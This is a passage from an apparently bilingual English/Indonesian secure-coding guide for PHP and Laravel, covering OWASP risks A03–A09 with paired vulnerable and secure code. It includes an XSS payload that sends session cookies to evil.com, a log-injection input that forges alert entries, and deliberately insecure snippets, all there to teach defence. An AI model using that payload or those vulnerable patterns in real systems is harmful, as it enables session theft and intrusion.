// AMAN: Validasi whitelist, tidak ada eksekusi shell, gunakan fungsi PHP native sebagai gantinya
private const ALLOWED_FILES = [
    'laporan_q1.pdf',
    'laporan_q2.pdf',
    'template_transkrip.docx',
];

public function readReport(string $filename): string
{
    if (!in_array($filename, self::ALLOWED_FILES, true)) {
        throw new \InvalidArgumentException('Nama file tidak valid.');
    }

    $path = realpath('/var/reports/' . basename($filename));

    if ($path === false || !str_starts_with($path, '/var/reports/')) {
        throw new \RuntimeException('Path traversal terdeteksi.');
    }

    return file_get_contents($path);
}

Aturan untuk mencegah command injection:

  • Jangan pernah meneruskan input pengguna ke shell_exec(), exec(), system(), atau operator backtick
  • Jika eksekusi shell tidak dapat dihindari, gunakan escapeshellarg() dan escapeshellcmd(), tapi validasi dulu
  • Lebih suka fungsi PHP native (file_get_contents(), PDO, curl) daripada perintah shell

Cross-Site Scripting (XSS)

Kode Rentan:

<?php

// BERBAHAYA: Input pengguna tidak disanitasi dirender langsung di HTML
echo "<div class='comment'>" . $_POST['comment'] . "</div>";

Penyerang memposting <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> sebagai komentar. Setiap pengguna yang melihat halaman memiliki cookie sesi mereka dikirim ke server penyerang.

Kode Aman:

<?php

declare(strict_types=1);

// AMAN: HTML-encode semua input pengguna sebelum rendering
echo "<div class='comment'>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";

Laravel: Auto-Escaping Blade.

Template engine Blade Laravel secara otomatis men-escape output dengan {{ }}:

{{-- Aman: auto-escaped --}}
<div class="comment">{{ $comment }}</div>

{{-- BERBAHAYA: Hanya gunakan {!! !!} dengan konten tepercaya dan disanitasi --}}
<div class="comment">{!! $comment !!}</div>

Jika Anda harus me-render HTML dari sumber tepercaya (misalnya, rich-text editor), gunakan HTML purifier:

use Stevebauman\Purify\Facades\Purify;

$cleanHtml = Purify::clean($richTextInput);

A04: Insecure Design

Insecure Design is distinct from implementation bugs. It represents missing or ineffective security controls that should have been architected into the system from the start.

Missing Rate Limiting

Vulnerable Code:

<?php

// DANGEROUS: No rate limiting — attacker can brute-force passwords at wire speed
public function login(string $email, string $password): array
{
    $user = $this->userRepository->findByEmail($email);

    if (!$user || !password_verify($password, $user->passwordHash)) {
        return ['success' => false, 'message' => 'Invalid credentials.'];
    }

    // Create session, issue JWT, etc.
    return ['success' => true, 'token' => $this->jwtService->issue($user)];
}

Without rate limiting, an attacker can attempt thousands of logins per second from a single machine.

Secure Code (Laravel Rate Limiter):

<?php

declare(strict_types=1);

use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Cache\RateLimiting\Limit;

// In RouteServiceProvider or a dedicated service provider
RateLimiter::for('login', function (Request $request) {
    $key = 'login:' . $request->ip() . '|' . strtolower($request->input('email'));

    return Limit::perMinute(5)->by($key)->response(function () {
        return response()->json([
            'message' => 'Too many login attempts. Please try again in 1 minute.',
        ], 429);
    });
});

// In the controller
public function login(Request $request): \Illuminate\Http\JsonResponse
{
    $executed = RateLimiter::attempt(
        'login',
        5, // max attempts
        function () use ($request) {
            // Actual login logic here
        },
        60, // decay in seconds
    );

    if (!$executed) {
        return response()->json([
            'message' => 'Too many login attempts. Try again in 60 seconds.',
        ], 429);
    }

    return response()->json(['message' => 'Login successful.']);
}

Trust-By-Default vs Zero-Trust

A trust-by-default design assumes requests are legitimate until proven otherwise. Zero-trust assumes every request is hostile until authenticated and authorised.

Design PatternTrust-By-DefaultZero-Trust
New user registrationAuto-activate account → welcome emailEmail verification → admin approval (if applicable) → activate
Password resetSend new password in emailSend time-limited, single-use reset link
API endpointAccept any JSON → processValidate Content-Type, authenticate, authorise per resource, rate limit, validate input, log
File uploadAccept any file → store in uploads/Validate MIME type, scan for malware, strip EXIF, rename, store outside webroot

Lack of Audit Log

Without an audit trail, you cannot detect breaches, prove compliance, or defend against repudiation claims:

<?php

declare(strict_types=1);

class AuditLogger
{
    public function __construct(
        private readonly \PDO $pdo,
    ) {}

    public function log(string $userId, string $action, string $resource, array $context = []): void
    {
        $stmt = $this->pdo->prepare(
            'INSERT INTO audit_log (user_id, action, resource, context, ip_address, created_at)
             VALUES (:user_id, :action, :resource, :context, :ip, NOW())'
        );

        $stmt->execute([
            'user_id'  => $userId,
            'action'   => $action,
            'resource' => $resource,
            'context'  => json_encode($context),
            'ip'       => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
        ]);
    }
}

// Usage: log every significant action
$this->auditLogger->log($userId, 'grade.updated', "student_record:{$recordId}", [
    'course_id'    => $courseId,
    'old_grade'    => $oldGrade,
    'new_grade'    => $newGrade,
    'changed_by'   => $lecturerId,
]);

Insecure Deserialisation

<?php

// DANGEROUS: unserialize() on user-controlled data allows object injection
$data = unserialize($_COOKIE['user_data']);

// SECURE: Use JSON for data interchange — never unserialize() untrusted input
$data = json_decode($_COOKIE['user_data'], true, 512, JSON_THROW_ON_ERROR);

Deserialisation attacks can instantiate arbitrary PHP objects, triggering magic methods (__wakeup, __destruct, __toString) that lead to remote code execution. Never call unserialize() on user-controlled input.

A04: Desain Tidak Aman

Desain Tidak Aman berbeda dari bug implementasi. Ini mewakili kontrol keamanan yang hilang atau tidak efektif yang seharusnya diarsitekturkan ke dalam sistem sejak awal.

Tidak Ada Rate Limiting

Kode Rentan:

<?php

// BERBAHAYA: Tidak ada rate limiting — penyerang dapat brute-force password dengan kecepatan penuh
public function login(string $email, string $password): array
{
    $user = $this->userRepository->findByEmail($email);

    if (!$user || !password_verify($password, $user->passwordHash)) {
        return ['success' => false, 'message' => 'Kredensial tidak valid.'];
    }

    // Buat sesi, terbitkan JWT, dll.
    return ['success' => true, 'token' => $this->jwtService->issue($user)];
}

Tanpa rate limiting, penyerang dapat mencoba ribuan login per detik dari satu mesin.

Kode Aman (Laravel Rate Limiter):

<?php

declare(strict_types=1);

use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Cache\RateLimiting\Limit;

// Di RouteServiceProvider atau service provider khusus
RateLimiter::for('login', function (Request $request) {
    $key = 'login:' . $request->ip() . '|' . strtolower($request->input('email'));

    return Limit::perMinute(5)->by($key)->response(function () {
        return response()->json([
            'message' => 'Terlalu banyak percobaan login. Silakan coba lagi dalam 1 menit.',
        ], 429);
    });
});

// Di controller
public function login(Request $request): \Illuminate\Http\JsonResponse
{
    $executed = RateLimiter::attempt(
        'login',
        5, // maks percobaan
        function () use ($request) {
            // Logika login aktual di sini
        },
        60, // decay dalam detik
    );

    if (!$executed) {
        return response()->json([
            'message' => 'Terlalu banyak percobaan login. Coba lagi dalam 60 detik.',
        ], 429);
    }

    return response()->json(['message' => 'Login berhasil.']);
}

Trust-By-Default vs Zero-Trust

Desain trust-by-default mengasumsikan permintaan sah sampai terbukti sebaliknya. Zero-trust mengasumsikan setiap permintaan bermusuhan sampai terautentikasi dan terotorisasi.

Pola DesainTrust-By-DefaultZero-Trust
Registrasi pengguna baruAuto-aktifkan akun → email selamat datangVerifikasi email → persetujuan admin (jika berlaku) → aktifkan
Reset passwordKirim password baru dalam emailKirim link reset sekali pakai dengan batas waktu
Endpoint APITerima JSON apa pun → prosesValidasi Content-Type, autentikasi, otorisasi per resource, rate limit, validasi input, log
Upload fileTerima file apa pun → simpan di uploads/Validasi tipe MIME, pindai malware, hapus EXIF, ganti nama, simpan di luar webroot

Tidak Ada Log Audit

Tanpa jejak audit, Anda tidak dapat mendeteksi pelanggaran, membuktikan kepatuhan, atau bertahan melawan klaim repudiasi:

<?php

declare(strict_types=1);

class AuditLogger
{
    public function __construct(
        private readonly \PDO $pdo,
    ) {}

    public function log(string $userId, string $action, string $resource, array $context = []): void
    {
        $stmt = $this->pdo->prepare(
            'INSERT INTO audit_log (user_id, action, resource, context, ip_address, created_at)
             VALUES (:user_id, :action, :resource, :context, :ip, NOW())'
        );

        $stmt->execute([
            'user_id'  => $userId,
            'action'   => $action,
            'resource' => $resource,
            'context'  => json_encode($context),
            'ip'       => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
        ]);
    }
}

// Penggunaan: catat setiap tindakan signifikan
$this->auditLogger->log($userId, 'grade.updated', "student_record:{$recordId}", [
    'course_id'    => $courseId,
    'old_grade'    => $oldGrade,
    'new_grade'    => $newGrade,
    'changed_by'   => $lecturerId,
]);

Deserialisasi Tidak Aman

<?php

// BERBAHAYA: unserialize() pada data yang dikontrol pengguna memungkinkan object injection
$data = unserialize($_COOKIE['user_data']);

// AMAN: Gunakan JSON untuk pertukaran data — jangan pernah unserialize() input tidak terpercaya
$data = json_decode($_COOKIE['user_data'], true, 512, JSON_THROW_ON_ERROR);

Serangan deserialisasi dapat menginstansiasi objek PHP arbitrer, memicu magic method (__wakeup, __destruct, __toString) yang mengarah ke eksekusi kode jarak jauh. Jangan pernah memanggil unserialize() pada input yang dikontrol pengguna.


A05: Security Misconfiguration

Security misconfiguration is the “death by a thousand paper cuts” of application security. Each individual setting seems harmless, but together they expose the entire application.

Debug Mode in Production

<?php

// DANGEROUS in production: stack traces reveal paths, queries, and framework versions
ini_set('display_errors', '1');
error_reporting(E_ALL);

// In Laravel: APP_DEBUG=true in .env exposes database credentials in error pages

Correct production configuration:

// php.ini
display_errors = Off
log_errors = On
error_reporting = E_ALL & ~E_DEPRECATED

// Laravel .env
APP_DEBUG=false
APP_ENV=production

Exposed Environment Files

.env files in Laravel contain all secrets. If your web server misconfiguration serves static files from the project root:

https://student-portal.example.com/.env
→ Returns APP_KEY, DB_PASSWORD, MAIL_PASSWORD, AWS_SECRET...

Prevention:

  • Configure the web server document root to public/, never the project root
  • Add .env to .gitignore
  • Use php artisan config:cache in production — it creates a cached config that does not read .env
  • Set restrictive file permissions: chmod 600 .env

Default Credentials

Never deploy with default credentials. Laravel’s default UserFactory and seeder often create admin@example.com / password. Remove or change these before deploying.

<?php

// In a production seeder, force password changes on first login
class ProductionUserSeeder extends Seeder
{
    public function run(): void
    {
        User::create([
            'name'              => 'Admin',
            'email'             => 'admin@se.polinema.ac.id',
            'password'          => Hash::make(Str::random(32)),
            'must_change_password' => true,
        ]);
    }
}

Security Headers

Missing security headers leave browsers without protection directives:

// In Laravel middleware or Nginx/Apache config
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: camera=(), microphone=(), geolocation=()');

Laravel can handle these through middleware. Create app/Http/Middleware/SecurityHeaders.php:

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): mixed
    {
        $response = $next($request);

        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

        return $response;
    }
}

A05: Miskonfigurasi Keamanan

Miskonfigurasi keamanan adalah “kematian oleh seribu luka kertas” dari keamanan aplikasi. Setiap pengaturan individu tampaknya tidak berbahaya, tetapi bersama-sama mereka mengekspos seluruh aplikasi.

Mode Debug di Production

<?php

// BERBAHAYA di production: stack trace mengungkapkan path, query, dan versi framework
ini_set('display_errors', '1');
error_reporting(E_ALL);

// Di Laravel: APP_DEBUG=true di .env mengekspos kredensial database di halaman error

Konfigurasi production yang benar:

// php.ini
display_errors = Off
log_errors = On
error_reporting = E_ALL & ~E_DEPRECATED

// Laravel .env
APP_DEBUG=false
APP_ENV=production

File Environment Terekspos

File .env di Laravel berisi semua secrets. Jika miskonfigurasi server web Anda menyajikan file statis dari root proyek:

https://student-portal.example.com/.env
→ Mengembalikan APP_KEY, DB_PASSWORD, MAIL_PASSWORD, AWS_SECRET...

Pencegahan:

  • Konfigurasikan document root server web ke public/, jangan pernah root proyek
  • Tambahkan .env ke .gitignore
  • Gunakan php artisan config:cache di production: ini membuat config yang di-cache yang tidak membaca .env
  • Atur izin file restriktif: chmod 600 .env

Kredensial Default

Jangan pernah deploy dengan kredensial default. UserFactory dan seeder default Laravel sering membuat admin@example.com / password. Hapus atau ubah ini sebelum men-deploy.

<?php

// Dalam seeder production, paksa perubahan password pada login pertama
class ProductionUserSeeder extends Seeder
{
    public function run(): void
    {
        User::create([
            'name'                => 'Admin',
            'email'               => 'admin@se.polinema.ac.id',
            'password'            => Hash::make(Str::random(32)),
            'must_change_password' => true,
        ]);
    }
}

Header Keamanan

Header keamanan yang hilang membuat browser tanpa arahan perlindungan:

// Di middleware Laravel atau konfigurasi Nginx/Apache
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: camera=(), microphone=(), geolocation=()');

Laravel dapat menangani ini melalui middleware. Buat app/Http/Middleware/SecurityHeaders.php:

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): mixed
    {
        $response = $next($request);

        $response->headers->set('X-Content-Type-Options', 'nosniff');
        $response->headers->set('X-Frame-Options', 'DENY');
        $response->headers->set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

        return $response;
    }
}

A06: Vulnerable and Outdated Components

Using components with known vulnerabilities is the fastest path to compromise. The Equifax breach (2017)—exposing 147 million records—was caused by an unpatched Apache Struts vulnerability with a fix available for months.

PHP Version Management

Running an end-of-life PHP version means no security patches:

# Check your PHP version
$ php --version

# PHP 8.1 active support ended Nov 2024, security support ends Nov 2025
# PHP 8.2 active support until Dec 2025, security support until Dec 2026
# PHP 8.3 active support until Dec 2026
# PHP 7.4 — end of life since Nov 2022. Do not use.

Recommendation: Use PHP 8.3 or newer as of 2026. Stay on a supported release line.

Composer Dependency Auditing

# Check for known vulnerabilities in your dependencies
$ composer audit

# Example output:
# Found 2 vulnerabilities:
# * guzzlehttp/guzzle (CVE-2024-...) - HTTP/2 header injection
# * symfony/http-foundation (CVE-2025-...) - Session fixation

# Update to patch versions
$ composer update guzzlehttp/guzzle symfony/http-foundation

# Check outdated packages
$ composer outdated --direct

# In CI/CD, run as part of pipeline
$ composer audit --no-dev  # Fail the build if vulnerabilities exist

Automated Dependency Monitoring

Integrate these tools into your workflow:

ToolPurposeGitHub Integration
DependabotAuto-PRs for vulnerable dependenciesNative GitHub feature (.github/dependabot.yml)
SnykVulnerability database + fix PRsSnyk GitHub App
composer auditChecks composer.lock against advisory DBRun in CI/CD pipeline

Example Dependabot configuration (.github/dependabot.yml):

version: 2
updates:
  - package-ecosystem: "composer"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"

Laravel Version

Always run the latest minor/patch of your Laravel major version. Laravel releases security patches regularly.

# Check current version
$ php artisan --version

# Update to latest patch
$ composer update laravel/framework

Review Laravel’s release notes for security fixes. Subscribe to Laravel security advisories.

A06: Komponen Rentan dan Usang

Menggunakan komponen dengan kerentanan yang diketahui adalah jalur tercepat menuju kompromi. Pelanggaran Equifax (2017), yang mengekspos 147 juta catatan, disebabkan oleh kerentanan Apache Struts yang tidak di-patch dengan perbaikan tersedia selama berbulan-bulan.

Manajemen Versi PHP

Menjalankan versi PHP end-of-life berarti tidak ada patch keamanan:

# Periksa versi PHP Anda
$ php --version

# PHP 8.1 dukungan aktif berakhir Nov 2024, dukungan keamanan berakhir Nov 2025
# PHP 8.2 dukungan aktif hingga Des 2025, dukungan keamanan hingga Des 2026
# PHP 8.3 dukungan aktif hingga Des 2026
# PHP 7.4 — end of life sejak Nov 2022. Jangan gunakan.

Rekomendasi: Gunakan PHP 8.3 atau lebih baru per 2026. Tetap di jalur rilis yang didukung.

Audit Dependensi Composer

# Periksa kerentanan yang diketahui di dependensi Anda
$ composer audit

# Contoh output:
# Ditemukan 2 kerentanan:
# * guzzlehttp/guzzle (CVE-2024-...) - HTTP/2 header injection
# * symfony/http-foundation (CVE-2025-...) - Session fixation

# Perbarui ke versi patch
$ composer update guzzlehttp/guzzle symfony/http-foundation

# Periksa paket usang
$ composer outdated --direct

# Di CI/CD, jalankan sebagai bagian dari pipeline
$ composer audit --no-dev  # Gagalkan build jika ada kerentanan

Pemantauan Dependensi Otomatis

Integrasikan alat-alat ini ke dalam alur kerja Anda:

AlatTujuanIntegrasi GitHub
DependabotAuto-PR untuk dependensi rentanFitur native GitHub (.github/dependabot.yml)
SnykDatabase kerentanan + PR perbaikanSnyk GitHub App
composer auditMemeriksa composer.lock terhadap advisory DBJalankan di pipeline CI/CD

Contoh konfigurasi Dependabot (.github/dependabot.yml):

version: 2
updates:
  - package-ecosystem: "composer"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    labels:
      - "dependencies"
      - "security"

Versi Laravel

Selalu jalankan minor/patch terbaru dari versi mayor Laravel Anda. Laravel merilis patch keamanan secara teratur.

# Periksa versi saat ini
$ php artisan --version

# Perbarui ke patch terbaru
$ composer update laravel/framework

Tinjau catatan rilis Laravel untuk perbaikan keamanan. Berlangganan advisory keamanan Laravel.


A07: Identification and Authentication Failures

Authentication failures allow attackers to impersonate legitimate users. This category includes weak passwords, missing MFA, session management flaws, and credential stuffing vulnerabilities.

Weak Password Policies

Vulnerable Code:

<?php

// DANGEROUS: No password strength requirements
public function register(string $email, string $password): User
{
    // No length check, no complexity check, no breach check
    $hash = password_hash($password, PASSWORD_BCRYPT);

    return $this->createUser($email, $hash);
}

Secure Code:

<?php

declare(strict_types=1);

class PasswordValidator
{
    private const MIN_LENGTH = 12;

    public function validate(string $password): array
    {
        $errors = [];

        if (strlen($password) < self::MIN_LENGTH) {
            $errors[] = sprintf('Password must be at least %d characters.', self::MIN_LENGTH);
        }

        if (!preg_match('/[A-Z]/', $password)) {
            $errors[] = 'Password must contain at least one uppercase letter.';
        }

        if (!preg_match('/[a-z]/', $password)) {
            $errors[] = 'Password must contain at least one lowercase letter.';
        }

        if (!preg_match('/[0-9]/', $password)) {
            $errors[] = 'Password must contain at least one digit.';
        }

        if (!preg_match('/[^a-zA-Z0-9]/', $password)) {
            $errors[] = 'Password must contain at least one special character.';
        }

        // Check against breached password databases
        if ($this->isPwned($password)) {
            $errors[] = 'This password has appeared in known data breaches. Please choose a different one.';
        }

        return $errors;
    }

    private function isPwned(string $password): bool
    {
        $hash = strtoupper(sha1($password));
        $prefix = substr($hash, 0, 5);
        $suffix = substr($hash, 5);

        $response = file_get_contents(
            "https://api.pwnedpasswords.com/range/{$prefix}",
        );

        return str_contains($response, $suffix);
    }
}

The k-anonymity model: only the first 5 characters of the SHA-1 hash are sent over the network. The full password never leaves your server.

Session Management

Vulnerable Patterns:

<?php

// DANGEROUS: Session ID unchanged after login — session fixation attack
session_start();
$_SESSION['user_id'] = $user->id;

// DANGEROUS: No session timeout
$_SESSION['last_activity'] = time();

Secure Session Management (Laravel):

In config/session.php:

return [
    'driver'          => env('SESSION_DRIVER', 'database'), // Store sessions in DB, not files
    'lifetime'        => 120,    // 2-hour idle timeout
    'expire_on_close' => true,   // Expire when browser closes
    'encrypt'         => true,   // Encrypt session data
    'secure'          => env('SESSION_SECURE_COOKIE', true), // HTTPS only
    'http_only'       => true,   // Not accessible via JavaScript
    'same_site'       => 'lax',  // CSRF protection
    'domain'          => env('SESSION_DOMAIN'), // Restrict to your domain
];

Always regenerate the session ID after login:

<?php

// In AuthController
public function login(Request $request)
{
    if (Auth::attempt($request->only('email', 'password'))) {
        $request->session()->regenerate(); // Prevents session fixation

        return redirect()->intended('/dashboard');
    }

    return back()->withErrors(['email' => 'Invalid credentials.']);
}

Laravel Authentication Guards

Laravel’s built-in authentication system provides:

  • auth middleware for protecting routes
  • guest middleware for login/register routes
  • CSRF protection on all POST, PUT, PATCH, DELETE routes
  • Remember-me tokens with secure, rotating hashes
  • Password reset with hashed, time-limited tokens
// routes/web.php
Route::middleware('auth')->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
    Route::get('/profile', [ProfileController::class, 'edit']);
});

Route::middleware('guest')->group(function () {
    Route::get('/login', [AuthController::class, 'showLogin']);
    Route::post('/login', [AuthController::class, 'login']);
});

A07: Kegagalan Identifikasi dan Autentikasi

Kegagalan autentikasi memungkinkan penyerang menyamar sebagai pengguna yang sah. Kategori ini mencakup password lemah, tidak ada MFA, kelemahan manajemen sesi, dan kerentanan credential stuffing.

Kebijakan Password Lemah

Kode Rentan:

<?php

// BERBAHAYA: Tidak ada persyaratan kekuatan password
public function register(string $email, string $password): User
{
    // Tidak ada pemeriksaan panjang, pemeriksaan kompleksitas, pemeriksaan pelanggaran
    $hash = password_hash($password, PASSWORD_BCRYPT);

    return $this->createUser($email, $hash);
}

Kode Aman:

<?php

declare(strict_types=1);

class PasswordValidator
{
    private const MIN_LENGTH = 12;

    public function validate(string $password): array
    {
        $errors = [];

        if (strlen($password) < self::MIN_LENGTH) {
            $errors[] = sprintf('Password harus minimal %d karakter.', self::MIN_LENGTH);
        }

        if (!preg_match('/[A-Z]/', $password)) {
            $errors[] = 'Password harus mengandung setidaknya satu huruf besar.';
        }

        if (!preg_match('/[a-z]/', $password)) {
            $errors[] = 'Password harus mengandung setidaknya satu huruf kecil.';
        }

        if (!preg_match('/[0-9]/', $password)) {
            $errors[] = 'Password harus mengandung setidaknya satu digit.';
        }

        if (!preg_match('/[^a-zA-Z0-9]/', $password)) {
            $errors[] = 'Password harus mengandung setidaknya satu karakter khusus.';
        }

        // Periksa terhadap database password yang dibobol
        if ($this->isPwned($password)) {
            $errors[] = 'Password ini telah muncul dalam pelanggaran data yang diketahui. Silakan pilih yang berbeda.';
        }

        return $errors;
    }

    private function isPwned(string $password): bool
    {
        $hash = strtoupper(sha1($password));
        $prefix = substr($hash, 0, 5);
        $suffix = substr($hash, 5);

        $response = file_get_contents(
            "https://api.pwnedpasswords.com/range/{$prefix}",
        );

        return str_contains($response, $suffix);
    }
}

Model k-anonymity: hanya 5 karakter pertama dari hash SHA-1 dikirim melalui jaringan. Password lengkap tidak pernah meninggalkan server Anda.

Manajemen Sesi

Pola Rentan:

<?php

// BERBAHAYA: ID sesi tidak berubah setelah login — serangan session fixation
session_start();
$_SESSION['user_id'] = $user->id;

// BERBAHAYA: Tidak ada timeout sesi
$_SESSION['last_activity'] = time();

Manajemen Sesi Aman (Laravel):

Di config/session.php:

return [
    'driver'          => env('SESSION_DRIVER', 'database'), // Simpan sesi di DB, bukan file
    'lifetime'        => 120,    // Timeout idle 2 jam
    'expire_on_close' => true,   // Kedaluwarsa saat browser ditutup
    'encrypt'         => true,   // Enkripsi data sesi
    'secure'          => env('SESSION_SECURE_COOKIE', true), // Hanya HTTPS
    'http_only'       => true,   // Tidak dapat diakses melalui JavaScript
    'same_site'       => 'lax',  // Perlindungan CSRF
    'domain'          => env('SESSION_DOMAIN'), // Batasi ke domain Anda
];

Selalu regenerasi ID sesi setelah login:

<?php

// Di AuthController
public function login(Request $request)
{
    if (Auth::attempt($request->only('email', 'password'))) {
        $request->session()->regenerate(); // Mencegah session fixation

        return redirect()->intended('/dashboard');
    }

    return back()->withErrors(['email' => 'Kredensial tidak valid.']);
}

Guard Autentikasi Laravel

Sistem autentikasi bawaan Laravel menyediakan:

  • Middleware auth untuk melindungi rute
  • Middleware guest untuk rute login/register
  • Perlindungan CSRF pada semua rute POST, PUT, PATCH, DELETE
  • Token remember-me dengan hash aman yang berputar
  • Reset password dengan token hash berbatas waktu
// routes/web.php
Route::middleware('auth')->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
    Route::get('/profile', [ProfileController::class, 'edit']);
});

Route::middleware('guest')->group(function () {
    Route::get('/login', [AuthController::class, 'showLogin']);
    Route::post('/login', [AuthController::class, 'login']);
});

A08: Software and Data Integrity Failures

This risk covers failures to verify the integrity of software updates, critical data, and CI/CD pipelines. In the PHP ecosystem, the primary concern is dependency confusion and untrusted deserialisation (covered in A04).

Composer Dependency Confusion

Dependency confusion occurs when an attacker publishes a package with the same name as your internal package to Packagist. If your composer.json references a private package without explicitly configuring the private repository, Composer might pull the public (malicious) package instead.

Prevention:

{
    "repositories": [
        {
            "type": "composer",
            "url": "https://composer.se.polinema.ac.id"
        }
    ],
    "config": {
        "secure-http": true,
        "github-protocols": ["https"],
        "allow-plugins": {
            "php-http/discovery": false
        }
    }
}
  • Always use https for Composer repositories
  • Set secure-http: true to block unencrypted downloads
  • Explicitly list allowed plugins — deny everything else
  • Using a private Packagist (e.g., Private Packagist, Satis) for internal packages prevents name collisions with public packages

Composer Lock File Integrity

The composer.lock file records exact versions and content hashes of every installed package:

# Never delete composer.lock — it's your integrity record
# Always commit it to version control

$ composer install --no-dev --optimize-autoloader
# On production: use composer install (not update) to respect the lock file

If an attacker modifies a package between your last composer update and deployment, composer install will detect the hash mismatch and fail. This is your integrity guard.

CI/CD Pipeline Security

CI/CD pipelines have access to secrets (deploy keys, API tokens). A compromised pipeline can inject backdoors into every build.

RiskMitigation
Unreviewed PRs trigger deploysRequire approval for workflows triggered by pull_request_target
Secrets in build logsNever echo secrets; use masked environment variables
Third-party GitHub ActionsPin actions to a full commit SHA, not a tag or branch
Script injection via PR title/bodySanitise any user-controlled input used in shell commands in workflows

Example of secure action pinning:

# SAFE: Pinned to exact commit SHA — immutable
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

# DANGEROUS: Branch reference can be changed by repo owner, injecting malicious code
- uses: actions/checkout@main

Artifact Signing

For internal tool distribution (research tools, SE Lab frameworks), sign your packages:

# Sign a Phar archive
$ openssl dgst -sha256 -sign private_key.pem -out tool.phar.sig tool.phar

# Verify on download
$ openssl dgst -sha256 -verify public_key.pem -signature tool.phar.sig tool.phar

A08: Kegagalan Integritas Perangkat Lunak dan Data

Risiko ini mencakup kegagalan memverifikasi integritas pembaruan perangkat lunak, data penting, dan pipeline CI/CD. Dalam ekosistem PHP, perhatian utama adalah kerancuan dependensi (dependency confusion) dan deserialisasi tidak terpercaya (dibahas di A04).

Kerancuan Dependensi Composer

Kerancuan dependensi terjadi ketika penyerang mempublikasikan paket dengan nama yang sama dengan paket internal Anda ke Packagist. Jika composer.json Anda mereferensikan paket privat tanpa secara eksplisit mengonfigurasi repositori privat, Composer mungkin menarik paket publik (berbahaya) tersebut.

Pencegahan:

{
    "repositories": [
        {
            "type": "composer",
            "url": "https://composer.se.polinema.ac.id"
        }
    ],
    "config": {
        "secure-http": true,
        "github-protocols": ["https"],
        "allow-plugins": {
            "php-http/discovery": false
        }
    }
}
  • Selalu gunakan https untuk repositori Composer
  • Atur secure-http: true untuk memblokir unduhan tidak terenkripsi
  • Daftarkan plugin yang diizinkan secara eksplisit, tolak yang lainnya
  • Menggunakan Packagist privat (misalnya, Private Packagist, Satis) untuk paket internal mencegah tabrakan nama dengan paket publik

Integritas File Lock Composer

File composer.lock mencatat versi tepat dan hash konten dari setiap paket yang diinstal:

# Jangan pernah menghapus composer.lock — ini adalah catatan integritas Anda
# Selalu commit ke version control

$ composer install --no-dev --optimize-autoloader
# Di production: gunakan composer install (bukan update) untuk menghormati file lock

Jika penyerang memodifikasi paket antara composer update terakhir Anda dan deployment, composer install akan mendeteksi ketidakcocokan hash dan gagal. Ini adalah penjaga integritas Anda.

Keamanan Pipeline CI/CD

Pipeline CI/CD memiliki akses ke secrets (kunci deploy, token API). Pipeline yang dikompromikan dapat menyuntikkan backdoor ke setiap build.

RisikoMitigasi
PR yang tidak direview memicu deployMewajibkan persetujuan untuk workflow yang dipicu oleh pull_request_target
Secrets di log buildJangan pernah echo secrets; gunakan masked environment variables
GitHub Actions pihak ketigaPin actions ke SHA commit lengkap, bukan tag atau branch
Script injection via judul/isi PRSanitasi input yang dikontrol pengguna yang digunakan dalam perintah shell di workflow

Contoh pinning action yang aman:

# AMAN: Dipin ke SHA commit tepat — immutable
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

# BERBAHAYA: Referensi branch dapat diubah oleh pemilik repo, menyuntikkan kode berbahaya
- uses: actions/checkout@main

Penandatanganan Artifact

Untuk distribusi alat internal (alat riset, framework SE Lab), tandatangani paket Anda:

# Tandatangani arsip Phar
$ openssl dgst -sha256 -sign private_key.pem -out tool.phar.sig tool.phar

# Verifikasi saat mengunduh
$ openssl dgst -sha256 -verify public_key.pem -signature tool.phar.sig tool.phar

A09: Security Logging and Monitoring Failures

Without adequate logging and monitoring, breaches go undetected for months. The average time to detect a breach is 194 days (IBM, 2025). Security logging is not just about compliance—it is your breach detection system.

What to Log

EventWhat to RecordWhy
Authentication attemptsUser ID, IP, timestamp, success/failure, failure reasonDetect brute-force attacks and credential stuffing
Authorisation failuresUser ID, IP, requested resource, required permissionIdentify access-control bypass attempts
Input validation failuresEndpoint, input fields, submitted values (truncated), IPDetect injection and fuzzing attacks
Rate limit triggersIP, endpoint, current rate, limitEarly warning of DoS attempts
Sensitive data accessUser ID, record ID, operation (view/edit/delete/export)Detect insider threats and excessive data access
Configuration changesSetting name, old value, new value, changed byDetect backdoor configuration (e.g., disabling MFA)

Secure Logging Implementation

Vulnerable Code (Log Injection):

<?php

// DANGEROUS: Unvalidated user input written directly to log
$username = $_POST['username'];
error_log("Login attempt for user: {$username}");

An attacker provides username=admin\n[2026-07-10 10:00:00] ALERT: Security breach detected as the username. The log now contains a forged entry that looks like a legitimate alert.

Secure Code:

<?php

declare(strict_types=1);

class SecureLogger
{
    public function __construct(
        private readonly \Psr\Log\LoggerInterface $logger,
    ) {}

    public function logAuthenticationAttempt(
        ?string $userId,
        string $email,
        bool $success,
        string $ipAddress,
    ): void {
        // Sanitise: strip newlines and control characters from user-supplied data
